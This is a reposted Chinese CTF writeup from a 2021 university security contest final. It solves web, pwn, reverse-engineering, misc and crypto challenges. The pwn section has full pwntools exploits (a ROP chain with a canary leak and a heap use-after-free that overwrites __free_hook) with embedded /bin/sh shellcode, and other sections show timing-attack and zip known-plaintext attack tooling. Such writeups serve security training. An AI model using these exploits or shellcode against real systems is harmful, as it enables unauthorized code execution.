zoukankan      html  css  js  c++  java
  • 2021年第四届美团网络安全高校挑战赛决赛writeup(转)

    Web

    HackMe

    开局一个文件上传,utf-16的编码绕过,然后根据提示爆破文件名 爆破最后四位 0000 - 9999, 就可以访问到了,注意是12小时。

    Pwn

    babyrop

    DEBUG

    # _*_ coding:utf-8 _*_
    from pwn import *
    import numpy as np
    context.log_level = 'debug'
    #context.terminal=['tmux', 'splitw', '-h']
    prog = './babyrop'
    #elf = ELF(prog)
    p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
    libc = ELF("./libc-2.27.so")
    #p = remote("123.57.207.81",44823)
    def debug(addr,PIE=False): 
        debug_str = ""
        if PIE:
            text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
            for i in addr:
                debug_str+='b *{}\n'.format(hex(text_base+i))
            gdb.attach(p,debug_str) 
        else:
            for i in addr:
                debug_str+='b *{}\n'.format(hex(i))
            gdb.attach(p,debug_str) 
    
    def dbg():
        gdb.attach(p)
    #-----------------------------------------------------------------------------------------
    s       = lambda data               :p.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
    sl      = lambda data               :p.sendline(str(data)) 
    sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :p.recv(numb)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    it      = lambda                    :p.interactive()
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    bp      = lambda bkp                :pdbg.bp(bkp)
    li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
    
    
    
    def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
    #https://www.exploit-db.com/shellcodes
    #-----------------------------------------------------------------------------------------sa("name? \n",'a'*0x19)
    debug([0x400752])
    main=0x40075b
    val=0x400717
    read_plt=0x400600
    bss=0x601010
    puts_got=0x600fc0
    puts_plt=0x4005d0
    printf_plt=0x4005f0
    sa("name? \n",'a'*0x19)
    ru('a'*0x19)
    rdi=0x400913
    canary=(uu64(ru(",")[0:7]))<<8
    lg('canary',canary)
    sla('his challenge\n',str(0x4009ae))
    pay=(p64(0x601010+8)*3)
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c))
    sleep(0.5)
    #pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\n'
    #s(pay)
    sa("name? \n",p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c))
    
    sa("name? \n",p64(rdi)+p64(0x600fc0)+p64(0x000000000040090c)+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000400911))
    libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f23ededeaa0-0x7f23ede5e000)
    lg("libc_base",libc_base)
    
    
    
    
    
    sa("name? \n",p64(rdi)+p64(libc.search("/bin/sh").next()+libc_base)+p64(libc_base+libc.sym['system'])+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000000000400911))
    lg("libc_base",libc_base)
    
    it()
    

    bookshop

    UAF fastbin+tcache

    # _*_ coding:utf-8 _*_
    from pwn import *
    context.log_level = 'debug'
    prog = './bookshop'
    #elf = ELF(prog)
    p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
    libc = ELF("./libc-2.31.so")
    #p = remote("123.57.132.168",30042)
    def debug(addr,PIE=True): 
        debug_str = ""
        if PIE:
            text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
            for i in addr:
                debug_str+='b *{}\n'.format(hex(text_base+i))
            gdb.attach(p,debug_str) 
        else:
            for i in addr:
                debug_str+='b *{}\n'.format(hex(i))
            gdb.attach(p,debug_str) 
    
    def dbg():
        gdb.attach(p)
    #-----------------------------------------------------------------------------------------
    s       = lambda data               :p.send(data)       #in case that data is an int
    sa      = lambda delim,data         :p.sendafter(delim, data)
    sl      = lambda data               :p.sendline(data)
    sla     = lambda delim,data         :p.sendlineafter(delim, data) 
    r       = lambda numb=4096          :p.recv(numb)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    it      = lambda                    :p.interactive()
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    bp      = lambda bkp                :pdbg.bp(bkp)
    li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
    
    
    
    def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh="\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
    #https://www.exploit-db.com/shellcodes
    #-----------------------------------------------------------------------------------------
    def choice(idx):
        sla(">> ",str(idx))
    
    def add(con):
        choice(1)
        sla("> ",con)
    
    def delete(idx):
        choice(2)
        sla("bag?",str(idx))
    
    def show(idx):
        choice(3)
        sla("read?",str(idx))
    
    def exp():
        sla("number?",str(0x68))
        for i in range(10):
            add(6*(p64(0)+p64(0x71)))
        add(p64(0)*4+(p64(0x421)+p64(0x41)))
        for i in range(7):
            delete(i)
        delete(8)
        show(1)
        ru("Content: ")
        heap = uu64(ru('\n')[-6:])
        lg('heap',heap)
        for i in range(7):
            add(6*(p64(0)+p64(0x71)))
        delete(8)
        add(p64(heap+0x40))
        add(p64(0))
        add(p64(0)*3+p64(0x421))
        lg('heap',heap+0x40)
        #dbg()
        delete(1)
        show(1)
        libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f3f97308be0-0x7f3f9711d000)
        lg('libc',libc_base)
        fh = libc_base + libc.sym['__free_hook']
        sys = libc_base + libc.sym['system']
        delete(2)
        delete(20)
        delete(0)
        add(p64(fh)*12)
        add('/bin/sh\x00')
        add(p64(sys))
        delete(22)
        it()
    if __name__ == '__main__':
        exp()
    

    Re

    Random

    直接调试发现key不变

    q=[0x3E, 0xCD, 0xAA, 0x8E, 0x96, 0x1F, 0x89, 0xCD, 0xDB, 0xF1,
      0x70, 0xF2, 0xA9, 0x9C, 0xC2, 0x8B, 0xF2, 0xFE, 0xAD, 0x8B,
      0x58, 0x7C, 0x2F, 0x03, 0x4A, 0x65, 0x31, 0x89, 0x76, 0x57,
      0x88, 0xDF, 0xB8, 0xE9, 0x01, 0xE9, 0xDE, 0xE5, 0x86, 0x68,
      0x8F, 0x24, 0xD3, 0x5A]
    k=[0x58,0xa1,0xcb,0xe9,0xed,0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xc6,0x80,0xbf,0x3e,0x44,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,0xbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a]
    f=''
    for i in range(len(k)):
        f+=chr(q[i]^k[i])
    print f
    flag{3e625fe0-fb18-4f87-93c1-1ec217f86796}
    

    wow

    upx -d脱壳

    patch掉这一段

    .text:00402352                 call    $+5
    .text:00402357                 add     [esp+4+var_4], 6
    .text:0040235B                 dec     eax
    .text:0040235C                 retf
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int *v3; // esi
      int *v4; // ebp
      int v5; // ecx
      int v6; // ebp
      int v7; // esi
      int v8; // ecx
      int v9; // edi
      unsigned int i; // ebx
      unsigned int v11; // ecx
      unsigned int v12; // edx
      unsigned int v13; // ecx
      int *v15; // [esp+10h] [ebp-68h]
      int v16; // [esp+2Ch] [ebp-4Ch]
      int v17; // [esp+30h] [ebp-48h]
      int v18; // [esp+34h] [ebp-44h]
      char v19[24]; // [esp+38h] [ebp-40h] BYREF
      char v20[24]; // [esp+50h] [ebp-28h] BYREF
      int v21; // [esp+74h] [ebp-4h]
      int savedregs; // [esp+78h] [ebp+0h] BYREF
      v4 = &savedregs;
      sub_4024C0(v20);
      v21 = 0;
      sub_402740(&dword_42AFD0, v20);
      scanf(v19, &input);
      LOBYTE(v21) = 1;
      if ( strlen(v20) != 36 )
      {
        printf((int)&unk_42AE80, "wrong\n");
        v17 = 0;
        v16 = 0;
    LABEL_9:
        *((_BYTE *)v4 - 4) = 0;
        sub_402430(v4 - 16);
        *(v4 - 1) = -1;
        sub_402430(v4 - 10);
        return *(v4 - 19);
      }
      v18 = sub_402420(v20);
      v15 = v3;
      v5 = *(_DWORD *)(v18 + 34);
      v6 = 12;
      v7 = 0;
      do
      {
        v7 += 0x67452301;
        v8 = v5 - 1;
        v9 = v7 + 4;
        for ( i = 0; i < 8; ++i )
        {
          v11 = v8 + 2;
          v12 = (((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ (((((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ ((v11 + 1) >> 3))
                                                              + ((v11 >> 5) ^ (4 * v11)));
          *(_DWORD *)v12 += v12;
          v6 += 2;
          v9 += 4;
          v8 = *(_DWORD *)v12 + 1;
        }
        v13 = *(_DWORD *)v12 + 3;
        *(_DWORD *)(v7 + 32) += (((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ (((((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ ((v13 + 1) >> 3))
                                                                              + ((v13 >> 5) ^ (4 * v13)));
        v5 = *(_DWORD *)(v7 + 32);
        v6 += 2;
      }
      while ( v6 );
      v4 = v15;
      if ( sub_4029F0(v15 - 10, v15 - 16) )
      {
        printf((int)&unk_42AE80, "right\n");
        *(v15 - 19) = 0;
        goto LABEL_9;
      }
      printf((int)&unk_42AE80, "wrong\n");
      *((_BYTE *)v15 - 4) = 0;
      sub_402430(v15 - 16);
      *(v15 - 1) = -1;
      return sub_402430(v15 - 10);
    }
    

    看出差不多是xxtea加密
    看汇编,找到key=[0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0]

    DELTA 0x67452301

    密文

    0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A
    

    网上找个脚本解密

    #include <stdio.h>
    #include <stdint.h>
    
    #define DELTA 0x67452301
    #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
    
    void xxtea(uint32_t* v, int n, uint32_t* key)
    {
        uint32_t y, z, sum;
        unsigned p, rounds, e;
        if (n > 1)             // encrypt
        {
            rounds = 6 + 52/n;
            sum = 0;
            z = v[n-1];
            do
            {
                sum += DELTA;
                e = (sum >> 2) & 3;
                for (p=0; p<n-1; p++)
                {
                    y = v[p+1];
                    z = v[p] += MX;
                }
                y = v[0];
                z = v[n-1] += MX;
            }
            while (--rounds);
        }
        else if (n < -1)      // decrypt
        {
            n = -n;
            rounds = 12;
            sum = rounds * DELTA;
            y = v[0];
            do
            {
                e = (sum >> 2) & 3;
                for (p=n-1; p>0; p--)
                {
                    z = v[p-1];
                    y = v[p] -= MX;
                }
                z = v[n-1];
                y = v[0] -= MX;
                sum -= DELTA;
            }
            while (--rounds);
        }
    }
    // test
    int main()
    {
        // 两个32位无符号整数,即待加密的64bit明文数据
        uint32_t v[9] = {0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A};
        // 四个32位无符号整数,即128bit的key
        uint32_t k[4]= {0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0};
        //n的绝对值表示v的长度,取正表示加密,取负表示解密
        int n = 9;
        // printf("Data is : %x %x\n", v[0], v[1]);
        // xxtea(v, n, k);
        // printf("Encrypted data is : %x %x\n", v[0], v[1]);
        xxtea(v, -n, k);
        printf(" %s\n", v);
        return 0;
    }
    flag{529e3d91db48e084f76fca97b94499}
    

    Misc

    Un(ix)Zip

    用unzip解压得到信息:

     extracting: ppp/1/15
     extracting: ppp/1/18
     extracting: ppp/1/26
     extracting: ppp/3/6
     extracting: ppp/9/36
     extracting: ppp/F/23
     extracting: ppp/G/14
     extracting: ppp/M/13
     extracting: ppp/R/31
     extracting: ppp/R/35
     extracting: ppp/V/19
     extracting: ppp/W/10
     extracting: ppp/X/17
     extracting: ppp/X/25
     extracting: ppp/X/8
     extracting: ppp/Z/1
     extracting: ppp/Z/5
     extracting: ppp/Z/9
     extracting: ppp/b/29
     extracting: ppp/c/33
     extracting: ppp/d/27
     extracting: ppp/e/21
     extracting: ppp/h/4
     extracting: ppp/j/12
     extracting: ppp/j/22
     extracting: ppp/j/34
     extracting: ppp/l/16
     extracting: ppp/l/32
     extracting: ppp/m/2
     extracting: ppp/m/30
     extracting: ppp/t/7
     extracting: ppp/u/20
     extracting: ppp/v/28
     extracting: ppp/w/24
     extracting: ppp/x/11
     extracting: ppp/x/3
    

    按后面的位数将前面的字母和数字依次排列得到:

    ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9
    

    base64解码得到:

    flag{Welc0me_Unz1p_Wonder4}
    

    오징어 게임

    下载附件得到一个加密的压缩包文件,压缩包内有一个zip和一个jpg文件

    用7z打开,可以发现jpg用的是ZipCrypto Deflate压缩算法,而zip用的是ZipCrypto Store压缩算法,Store算法是可以进行明文攻击的

    利用bkcrack进行明文攻击,plain.txt内的数据为 flagornot.txt,因为压缩包的第30偏移为固定为压缩包内的文件名,而文件名在压缩包注释内可以得到

    Violence does not solve the problem. What you want may be flagornot.txt
    

    明文碰撞命令如下:

    bkcrack.exe -C 123.zip -c flagornot.zip -p planit.txt -o 30 -x 0 504B0304
    

    得到key:

    683a571e f954e70c 49da18ac
    

    之后利用这个key即可解开压缩包

    bkcrack -C 123.zip -c flagornot.zip -k 683a571e f954e70c 49da18ac -d result.zip
    

    同理解出jpg图片,jpg图片需要用bkcrack自带的inflate.py工具解一下数据流

    python inflate.py < result.jpg > out.jpg
    

    解得:

    最后利用WaterMarkH即可解出盲水印

    放大一点

    解得flag:

    flag{7bfbc17a-3520-0ed2-fd0e-e1eb47a94fae}
    

    Crypto

    Symbol

    Latex语法:

    $$\forall\uplus\nu_\Lambda\alpha T\epsilon\Xi_M\approx\triangleleft\hbar$$

    flag{fun_LaTeX_Math}

    fun_LaTeX_Math md5一下。

    Romeo's Encryption Machine

    0x2000次aes.

    测了一下大概0.10s左右得花掉。

    明显timing attack.

    不过得爆破这个密码 得慢慢来 emmm. 所以要 分多次去爆破。

    按照table 丢个自动化脚本就行。

    具体可以参照 n1ctf 的 n1ogin 的思想。

    alphabat = string.ascii_uppercase + string.ascii_lowercase + string.digits + "~!@#$%^&*()_+|,."
    suffix = '........'
    passw = ''
    
    def fuck(passw,index):
        Tl = []
        for i in alphabat:
            tmp_passw = (passw+ i+suffix[index+1:])..encode()
            io.recv()
            stime = time.time()
            io.sendline(tmp_passw)
            io.recvuntil(b'password:')
            Tl.append(time.time() - stime)
        passw = passw + alphabat[Tl.index(max(Tl))]
        return passw
    
    password: `#G.5~1ss`
    

    hamburgerRSA

    自己生成发现前19位和后19位会跟n的一样。

    只要爆破1位就可以了 分解是2个素数就拿到p,q 然后走流程

    low = str(n)[-19:]
    high = str(n)[:19]
    pq_prob = []
    
    for i in range(10):
            pq_prob.append(int(high + str(i) + low))
    
    for x in (pq_prob):
        f = factor(x)
        print(f)
        if (len(f) == 2 and f[0][0].nbits() == 64):
            p, q = f[0][0], f[1][0]
            break



  • 相关阅读:
    C/C++程序内存的分配
    【解题报告】UVA101 The Blocks Problem
    洗牌算法
    【持续更新】算法竞赛常用模板
    北京邮电大学2021乐理公共选修课期末考试
    Oracle通用大数据量存储过程分页修正版
    (转)NHibernate 3.0在PetShop 3层架构中的应用
    Json.Net学习笔记
    JS获得浏览器高度和宽度参数
    jQuery数组处理汇总
  • 原文地址:https://www.cnblogs.com/backlion/p/15717900.html
Copyright © 2011-2022 走看看